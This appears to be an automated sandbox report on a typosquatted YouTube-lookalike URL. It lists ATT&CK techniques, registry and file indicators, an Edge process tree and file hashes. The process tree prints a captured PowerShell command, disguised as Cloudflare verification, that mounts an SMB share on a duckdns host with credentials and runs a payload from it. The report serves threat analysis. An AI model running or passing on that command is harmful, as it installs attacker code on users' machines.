hxxps://www[.]youtude[.]net/watch?v=i50wel2lVsw

Resubmissions

09/04/2025, 17:31

250409-v3wdfaxycw 10

09/04/2025, 17:30

250409-v264jsxpz2 8

09/04/2025, 17:26

250409-vzvbzaxpt8 4

Analysis

max time kernel
23s
max time network
26s
platform
windows10-2004_x64
resource
win10v2004-20250313-en
resource tags

arch:x64arch:x86image:win10v2004-20250313-enlocale:en-usos:windows10-2004-x64system
submitted
09/04/2025, 17:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://www.youtude.net/watch?v=i50wel2lVsw

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1100	PowerShell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	PowerShell.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_metadata\verified_contents.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\ja\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\am\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\fil\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\vi\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\ne\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\offscreendocument_main.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\es_419\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\bn\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\mr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\da\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\mn\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\ar\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\en_GB\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\service_worker_bin_prod.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\no\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\it\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\sw\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\en\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\en_CA\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\is\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\pt_PT\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\ka\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\uk\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\cs\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\fr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\fi\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\dasherSettingSchema.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\offscreendocument.html	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\nl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\cy\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\gu\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\pl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\af\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\de\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\ko\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\si\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\ms\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\ca\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\iw\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\zh_CN\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\hy\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\az\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\manifest.fingerprint	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\ur\messages.json	msedge.exe
File created	C:\Program Files\msedge_url_fetcher_1488_1116943357\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_90_1_0.crx	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\ro\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\sv\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\sl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\id\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\sk\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\bg\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\eu\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\lo\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\fa\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\es\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\sr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\tr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\el\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\hi\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\pa\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1488_226790524\_locales\ru\messages.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133886934192941809"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3446877943-4095308722-756223633-1000\{80B2139F-341C-405A-A120-BEAE62186102}	msedge.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1100	PowerShell.exe
1100	PowerShell.exe
1100	PowerShell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
1488	msedge.exe
1488	msedge.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1100	PowerShell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1488	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1488 wrote to memory of 5976	1488	msedge.exe	86
PID 1488 wrote to memory of 5976	1488	msedge.exe	86
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 5092	1488	msedge.exe	87
PID 1488 wrote to memory of 5092	1488	msedge.exe	87
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4928	1488	msedge.exe	88
PID 1488 wrote to memory of 4728	1488	msedge.exe	89
PID 1488 wrote to memory of 4728	1488	msedge.exe	89
PID 1488 wrote to memory of 4728	1488	msedge.exe	89
PID 1488 wrote to memory of 4728	1488	msedge.exe	89
PID 1488 wrote to memory of 4728	1488	msedge.exe	89
PID 1488 wrote to memory of 4728	1488	msedge.exe	89
PID 1488 wrote to memory of 4728	1488	msedge.exe	89
PID 1488 wrote to memory of 4728	1488	msedge.exe	89
PID 1488 wrote to memory of 4728	1488	msedge.exe	89

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtude.net/watch?v=i50wel2lVsw
1⤵
- Drops file in Program Files directory
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1488
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2cc,0x2d0,0x2d4,0x2c8,0x360,0x7ffa66fbf208,0x7ffa66fbf214,0x7ffa66fbf220
  2⤵
  PID:5976
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1900,i,14791115468448501758,11359031126643096186,262144 --variations-seed-version --mojo-platform-channel-handle=2368 /prefetch:3
  2⤵
  PID:5092
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2336,i,14791115468448501758,11359031126643096186,262144 --variations-seed-version --mojo-platform-channel-handle=2332 /prefetch:2
  2⤵
  PID:4928
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2444,i,14791115468448501758,11359031126643096186,262144 --variations-seed-version --mojo-platform-channel-handle=2932 /prefetch:8
  2⤵
  PID:4728
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3512,i,14791115468448501758,11359031126643096186,262144 --variations-seed-version --mojo-platform-channel-handle=3548 /prefetch:1
  2⤵
  PID:3876
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3536,i,14791115468448501758,11359031126643096186,262144 --variations-seed-version --mojo-platform-channel-handle=3632 /prefetch:1
  2⤵
  PID:5328
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4976,i,14791115468448501758,11359031126643096186,262144 --variations-seed-version --mojo-platform-channel-handle=5072 /prefetch:8
  2⤵
  PID:3548
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4816,i,14791115468448501758,11359031126643096186,262144 --variations-seed-version --mojo-platform-channel-handle=4984 /prefetch:8
  2⤵
  PID:1616
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5628,i,14791115468448501758,11359031126643096186,262144 --variations-seed-version --mojo-platform-channel-handle=5408 /prefetch:8
  2⤵
  PID:5272
- C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5644,i,14791115468448501758,11359031126643096186,262144 --variations-seed-version --mojo-platform-channel-handle=5852 /prefetch:8
  2⤵
  PID:1628
- C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5644,i,14791115468448501758,11359031126643096186,262144 --variations-seed-version --mojo-platform-channel-handle=5852 /prefetch:8
  2⤵
  PID:1236
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6092,i,14791115468448501758,11359031126643096186,262144 --variations-seed-version --mojo-platform-channel-handle=5700 /prefetch:8
  2⤵
  PID:3372
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6096,i,14791115468448501758,11359031126643096186,262144 --variations-seed-version --mojo-platform-channel-handle=6116 /prefetch:8
  2⤵
  PID:3184

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:5676

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3432
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
  2⤵
  PID:4156

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -Command "Start-Process cmd -ArgumentList '/c net use \\aaso12.duckdns.org\shear /user:WORKGROUP\smbusr aabb1234! && \\aaso12.duckdns.org\shear\s -fullinstall' -windowstyle hidden -Verb RunAs; # Cloudflare verification (Ray ID: 90b0e54eb8bdaasd84)
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1100
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c net use \\aaso12.duckdns.org\shear /user:WORKGROUP\smbusr aabb1234! && \\aaso12.duckdns.org\shear\s -fullinstall
  2⤵
  PID:4228
- - C:\Windows\system32\net.exe
    net use \\aaso12.duckdns.org\shear /user:WORKGROUP\smbusr aabb1234!
    3⤵
    PID:1628

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
280B

MD5
7b0736a36bad51260e5db322736df2e9

SHA1
30af14ed09d3f769230d67f51e0adb955833673e

SHA256
0d2adfd06d505b9020c292d30597083d808bfd90ddc0fe173def5db96832a087

SHA512
caabdc6a8601b93f3c082e6506b3c9efe2242b90e92e86306dc0bd4857d33343ba395325fabb21f5db562d3e3932f52f77de547f379072d0154efd5f1b1cdeb3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json

Filesize
2B

MD5
99914b932bd37a50b983c5e7c90ae93b

SHA1
bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f

SHA256
44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a

SHA512
27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps

Filesize
107KB

MD5
2b66d93c82a06797cdfd9df96a09e74a

SHA1
5f7eb526ee8a0c519b5d86c845fea8afd15b0c28

SHA256
d4c064db769b3c109da2ed80a53fbab00987c17421a47921e41e213781d67954

SHA512
95e45c0aea0e704be5f512dffaae377d4abef78da99b3bca769264d69be20f2570daf2f47905645217e1b2696e42b101f26149219f148b4d6dd97a6c2868b6f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries

Filesize
40B

MD5
20d4b8fa017a12a108c87f540836e250

SHA1
1ac617fac131262b6d3ce1f52f5907e31d5f6f00

SHA256
6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d

SHA512
507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
16KB

MD5
8d0f5c509264a7dddcdffcb09308795e

SHA1
9910b3683118ab824326269c1580325bfa2ae9ca

SHA256
64ddb68a63f5c0c00ee082086eface07b1e5c23a08e71c50d9b979e7407fbeb6

SHA512
43592c240524935450d718eecc61761523995b41a77ebece08102338005796e07c5e17cfbbb7f35df3aecfb23eb059f7df24b715fdbc464bd0d80f8dceb8bf30

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
36KB

MD5
d8d6df7156884a83e27f104a25f29ed9

SHA1
9ccb29502175c56093f357085e04cbfbcfc33347

SHA256
12fcf45b80ac2ca0b868904e50f56d1b18b61c2358604b16043071bdac9381e5

SHA512
c277bf985c320f24cdb1a7aa02006fa9e2a871801a47288a855d9333fbfc3e4b13dc30f0df59d0bc03b0ddb15a0b75e1007c5408bf893492d9f027da1794859a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log

Filesize
22KB

MD5
2e254fb48a2c3036e93cb77a614f862d

SHA1
e0e9491207bc74d4f92bcf9e6326b12d62ddc8b5

SHA256
7bfe674066ceb9cf9414bc21dc848119005716df82e84e0656edc439c64ad758

SHA512
9b2e252e105d48ecf0978cc677dc55a0adefaa45c0af9a798b5e7cc352137f7412e33db765ded14a7e7701ab97713c307b80d5dda002a0982ad3cf8c5e89a01a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
40KB

MD5
4c6df834eb438c7847845989fdcea319

SHA1
2f796f8c0623dd4a19c6e5e9c412da153151064d

SHA256
b10b67992a7dbab4366bc2f94a8add8c26d3288f9f758dd826c629d0794357a9

SHA512
c49d000911142d171e006fc41c1bfcc13a25b41ae618f9b256d93fc4a6a937f6fb1827e49e9b4f39835730255233009e9a2af1e39305ad5ecf605c4fedc9f048

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
40KB

MD5
10415e5d376a92215f5c8063ce4c42aa

SHA1
68efee8d9c2c30748943696009bc813bf7f1ca23

SHA256
5221c3d39263e64837cb42560b8cd4e2969c1125ba15d4ddf6aaa4735ffec148

SHA512
e7c45f1fec8650a9c07c8ee246391b97937cb1d449e6280c02117028e886286a40b9b98f94487815399fad31920d9ba08d97f6eea49d700c25392104daef348e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
49KB

MD5
2894069b632c21ff419dce3f6afb05d5

SHA1
c3e110fd63a974ae3b4965c03d764eb9db47a090

SHA256
c2f6a3e35616808f28ad7946fc7596a5d0607cc6ef519e96dfb7169039baf436

SHA512
87164a78874fe8df706b6d40ef51eb16ba0126ebda2dc754e22e99b674e7bf73e76eaccd2ed912c14a3efb1f67c8a71296f686442261df069ca09ed3dc563892

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\ghbmnnjooekpmoecnnnilnnbdlolhkhi_1.fa2232917a5656ea4f811936561ea6b7c92b3c0004c5e08ecb97636d3afc6f72

Filesize
152KB

MD5
dd9bf8448d3ddcfd067967f01e8bf6d7

SHA1
d7829475b2bd6a3baa8fabfaf39af57c6439b35e

SHA256
fa2232917a5656ea4f811936561ea6b7c92b3c0004c5e08ecb97636d3afc6f72

SHA512
65347df34378c2bbb34417e2cccfb3251a0b2412422cc190eed9df525b6e0a9948e0295ea3c33b3ad873ce81e369e89a138ac41d6eb7229546c3269107e661de

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Filesize
2KB

MD5
c1a9b92dcab8fdbd3ff133ce57e2a95b

SHA1
3f285bb80be4593de14379b976b8431989943d4d

SHA256
dd4910d2527776edf23865d6cb793be2c422b2c82610aa3e58386195df48ef86

SHA512
e9bbabb942a43cba5bacb90f32b6e1c32508a4fc5a2f3d2bf75ac2a9136058fab7846c3187a8c4476e25712b14d54eebbfcf97b08e63ab0bfd67b10659943798

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ocjhgtkr.5ob.ps1

Filesize
60B

MD5
